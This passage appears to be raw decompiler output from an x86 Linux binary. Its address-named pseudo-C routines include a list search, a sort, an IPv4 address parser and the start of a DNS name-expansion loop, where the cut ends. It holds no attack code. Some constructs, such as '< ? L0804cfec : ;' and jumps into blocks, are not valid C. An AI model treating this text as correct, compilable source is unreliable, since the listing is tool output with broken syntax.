0x0804CB93 - 0x0804CB93 * Argument size: 0 * Local size: 0 * Save regs size: 0 */ L0804CB93() { } /* Procedure: 0x0804CB94 - 0x0804CBE3 * Argument size: 12 * Local size: 0 * Save regs size: 12 */ L0804CB94(A8, Ac, A10) /* unknown */ void A8; /* unknown */ void Ac; /* unknown */ void A10; { /* unknown */ void ebx; L0804C538(0); L0804cbac: do { ebx = L0804C5A4(); if(ebx == 0) { break; } if(*(ebx + 8) != A10) { goto L0804cbac; } } while(L08056450( *( *(ebx + 16)), A8, Ac) != 0); L0804C574(); return(ebx); } /* Procedure: 0x0804CBE4 - 0x0804CE88 * Argument size: 8 * Local size: 96 * Save regs size: 12 */ L0804CBE4(A8, Ac) /* unknown */ void A8; /* unknown */ void Ac; { /* unknown */ void ebx; /* unknown */ void esi; /* unknown */ void edi; /* unknown */ void Vffffffa0; /* unknown */ void Vffffffa4; /* unknown */ void Vffffffa8; /* unknown */ void Vffffffac; /* unknown */ void Vffffffb0; /* unknown */ void Vffffffb4; /* unknown */ void Vffffffba; Vffffffb0 = 0; Vffffffb4 = A8; Vffffffa4 = 0; edi = Ac; if(Vffffffb0 < edi) { if(!(edi & 1)) { ecx = 0; eax = *L080786A8 >> 4 & 255; if(Vffffffb0 < eax) { esi = *edx; ebx = eax; Vffffffa0 = 0; do { eax = *esi; edx = Vffffffa0; eax = eax & *(edx + 0x80786b0); if(*(edx + 0x80786ac) == eax) { break; } Vffffffa0 = edx + 8; ecx = ecx + 1; } while(ecx < ebx); } edi = Vffffffa4; *(ebp + edi * 2 - 72) = cx; if(Vffffffb0 == 0 && edi > 0) { eax = *(ebp + edi * 2 - 74); if(ecx < eax) { Vffffffb0 = edi; } } Vffffffa4 = Vffffffa4 + 1; Vffffffb4 = Vffffffb4 + 4; } else { L0804cc80: ecx = 0; eax = *L080786A8 >> 4 & 255; if(0 < eax) { esi = *Vffffffb4; ebx = eax; Vffffffa0 = 0; do { eax = *esi; edx = Vffffffa0; eax = eax & *(edx + 0x80786b0); if(*(edx + 0x80786ac) == eax) { break; } Vffffffa0 = edx + 8; ecx = ecx + 1; } while(ecx < ebx); } edi = Vffffffa4; *(ebp + edi * 2 - 72) = cx; if(Vffffffb0 == 0 && edi > 0) { eax = *(ebp + edi * 2 - 74); if(ecx < eax) { Vffffffb0 = edi; } } esi = Vffffffa4 + 1; ecx = 0; eax = *L080786A8 >> 4 & 255; if(0 < eax) { Vffffffa8 = *(Vffffffb4 + 4); ebx = eax; Vffffffa0 = 0; do { edi = Vffffffa0; eax = *Vffffffa8 & *(edi + 0x80786b0); if(*(edi + 0x80786ac) == eax) { break; } Vffffffa0 = edi + 8; ecx = ecx + 1; } while(ecx < ebx); } *(ebp + esi * 2 - 72) = cx; if(Vffffffb0 == 0 && esi > 0) { eax = *(ebp + esi * 2 - 74); if(ecx < eax) { Vffffffb0 = esi; } } Vffffffa4 = Vffffffa4 + 2; Vffffffb4 = Vffffffb4 + 8; } if(Vffffffa4 < Ac) { goto L0804cc80; } } if(Vffffffb0 != 0) { edi = Ac; if(Vffffffb0 < edi) { edx = & Vffffffba; Vffffffac = edx; if(edi - Vffffffb0 & 1) { goto L0804cdd8; } if(!(ecx = Vffffffb0 - 1)) { esi = A8 + ecx * 4; ebx = edx + ecx * 2; do { ax = *(ebp + ecx * 2 - 72); if(*ebx >= ax) { break; } Vffffffa4 = ax; *(ebp + ecx * 2 - 72) = *ebx; *ebx = Vffffffa4; edx = *esi; edi = A8; eax = *(edi + ecx * 4 + 4); *esi = eax; *(edi + ecx * 4 + 4) = edx; esi = esi + -4; ebx = ebx + -2; } while(ecx = ecx - 1); } Vffffffb0 = Vffffffb0 + 1; if(Vffffffb0 < Ac) { L0804cdd8: do { if(!(ecx = Vffffffb0 - 1)) { esi = A8 + ecx * 4; ebx = Vffffffac + ecx * 2; do { ax = *(ebp + ecx * 2 - 72); if(*ebx >= ax) { break; } Vffffffa4 = ax; *(ebp + ecx * 2 - 72) = *ebx; *ebx = Vffffffa4; edi = *esi; edx = A8; eax = *(edx + ecx * 4 + 4); *esi = eax; *(edx + ecx * 4 + 4) = edi; esi = esi + -4; ebx = ebx + -2; } while(ecx = ecx - 1); } ecx = Vffffffb0; if(ecx >= 0) { esi = A8 + ecx * 4; ebx = Vffffffac + ecx * 2; do { ax = *(ebp + ecx * 2 - 72); if(*ebx >= ax) { break; } Vffffffa4 = ax; *(ebp + ecx * 2 - 72) = *ebx; *ebx = Vffffffa4; edi = *esi; edx = A8; eax = *(edx + ecx * 4 + 4); *esi = eax; *(edx + ecx * 4 + 4) = edi; esi = esi + -4; ebx = ebx + -2; } while(ecx = ecx - 1); } Vffffffb0 = Vffffffb0 + 2; } while(Vffffffb0 < Ac); } } } esp = ebp - 108; } /* Procedure: 0x0804CE89 - 0x0804CE8B * Argument size: 0 * Local size: 0 * Save regs size: 0 */ L0804CE89() { } /* Procedure: 0x0804CE8C - 0x0804CEB2 * Argument size: 0 * Local size: 4 * Save regs size: 0 */ L0804CE8C(A8) /* unknown */ void A8; { /* unknown */ void Vfffffffc; if(L0804CEB4(A8, & Vfffffffc) == 0) { return(-1); } esp = ebp; return(Vfffffffc); } /* Procedure: 0x0804CEB3 - 0x0804CEB3 * Argument size: 0 * Local size: 0 * Save regs size: 0 */ L0804CEB3() { } /* Procedure: 0x0804CEB4 - 0x0804D02A * Argument size: 8 * Local size: 28 * Save regs size: 12 */ L0804CEB4(A8, Ac) /* unknown */ void A8; /* unknown */ void Ac; { /* unknown */ void ebx; /* unknown */ void esi; /* unknown */ void edi; /* unknown */ void Vffffffe4; /* unknown */ void Vffffffe8; /* unknown */ void Vffffffec; /* unknown */ void Vfffffff0; /* unknown */ void Vfffffff4; /* unknown */ void Vfffffff8; /* unknown */ void Vfffffffc; ebx = A8; for(Vffffffe8 = & Vfffffff0; 1; ebx = ebx + 1) { esi = 0; Vffffffec = 10; if(*ebx == 48) { ebx = ebx + 1; if(*ebx != 120) { if(*ebx == 88) { goto L0804cee1; } L0804ceec: Vffffffec = 8; } else { L0804cee1: Vffffffec = 16; ebx = ebx + 1; } } al = *ebx; if(al != 0) { edi = *L08078FA0; do { if(al >= 0) { edx = al & 255; if(!( *(edi + edx * 2 + 1) & 8)) { goto L0804cf0e; } } if(Vffffffec != 16 || al < 0) { break; } eax = eax & 255; if(*(edi + eax * 2 + 1) & 16) { break; } ecx = eax + 10; Vffffffe4 = ecx; edx = esi << 4; if(*(edi + eax * 2 + 1) & 2) { esi = Vffffffe4 + edx - 65; } else { esi = ecx + edx - 97; goto L0804cf53; L0804cf0e: eax = Vffffffec; esi = esi * eax; esi = edx + eax - 48; } L0804cf53: ebx = ebx + 1; al = *ebx; } while(al != 0); } if(*ebx != 46) { goto L0804cf84; } eax = & Vfffffffc; if(Vffffffe8 >= eax || esi > 255) { goto L0804cfec; } ecx = Vffffffe8; *ecx = esi; Vffffffe8 = ecx + 4; } goto L0804ceec; L0804cf84: if(*ebx != 0) { < ? L0804cfec : ; edx = *ebx & 255; if(*( *L08078FA0 + edx * 2 + 1) & 32) { goto L0804cfec; } } eax = (Vffffffe8 - & Vfffffff0 >> 2) + 1; if(eax != 2) { <= ? L0804d008 : ; if(eax == 3) { goto L0804cfcc; } if(eax == 4) { goto L0804cfe4; } } else { if(esi <= 16777215) { eax = Vfffffff0 << 24; goto L0804d006; L0804cfcc: if(esi <= 65535) { eax = Vfffffff0 << 24; edx = Vfffffff4 << 16; goto L0804d004; L0804cfe4: if(esi <= 255) { goto L0804cff0; } } } L0804cfec: eax = 0; goto L0804d021; L0804cff0: eax = Vfffffff0 << 24 | Vfffffff4 << 16; edx = Vfffffff8 << 8; L0804d004: eax = eax | edx; L0804d006: esi = esi | eax; } if(Ac != 0) { eax = esi; asm("xchg al,ah"); asm("ror eax,0x10"); asm("xchg al,ah"); *Ac = eax; } eax = 1; L0804d021: esp = ebp - 40; } /* Procedure: 0x0804D02B - 0x0804D02B * Argument size: 0 * Local size: 0 * Save regs size: 0 */ L0804D02B() { } /* Procedure: 0x0804D02C - 0x0804D29F * Argument size: 20 * Local size: 12 * Save regs size: 12 */ L0804D02C(A8, Ac, A10, A14, A18) /* unknown */ void A8; /* unknown */ void Ac; /* unknown */ void A10; /* unknown */ void A14; /* unknown */ void A18; { /* unknown */ void ebx; /* unknown */ void esi; /* unknown */ void edi; /* unknown */ void Vfffffff4; /* unknown */ void Vfffffff8; /* unknown */ void Vfffffffc; Vfffffffc = -1; Vfffffff8 = 0; ecx = A14; Vfffffff4 = ecx + A18; edi = A10; esi = *edi & 255; ebx = edi; goto L0804d257; L0804d24a: eax = -1; goto L0804d296; L0804d257: while(1) { ebx = ebx + 1; if(esi == 0) { break; } if(eax = esi & 192) { if(A14 != ecx) { if(Vfffffff4 <= ecx) { goto L0804d24a; } *ecx = 46; ecx = ecx + 1; } eax = esi + ecx; if(Vfffffff4 <= eax) { goto L0804d24a; } Vfffffff8 = esi + Vfffffff8 + 1; if(!(esi = esi - 1)) { eax = !esi & 3; if(esi > -1) { if(eax == 0) { goto L0804d158; } if(eax < 3) { if(eax < 2) { edx = *ebx & 255; ebx = ebx + 1; if(edx == 46 || edx == 92) { eax = esi + ecx + 2; if(Vfffffff4 <= eax) { goto L0804d24a; } *ecx = 92; ecx = ecx + 1; } *ecx = dl; ecx = ecx + 1; if(Ac <= ebx) {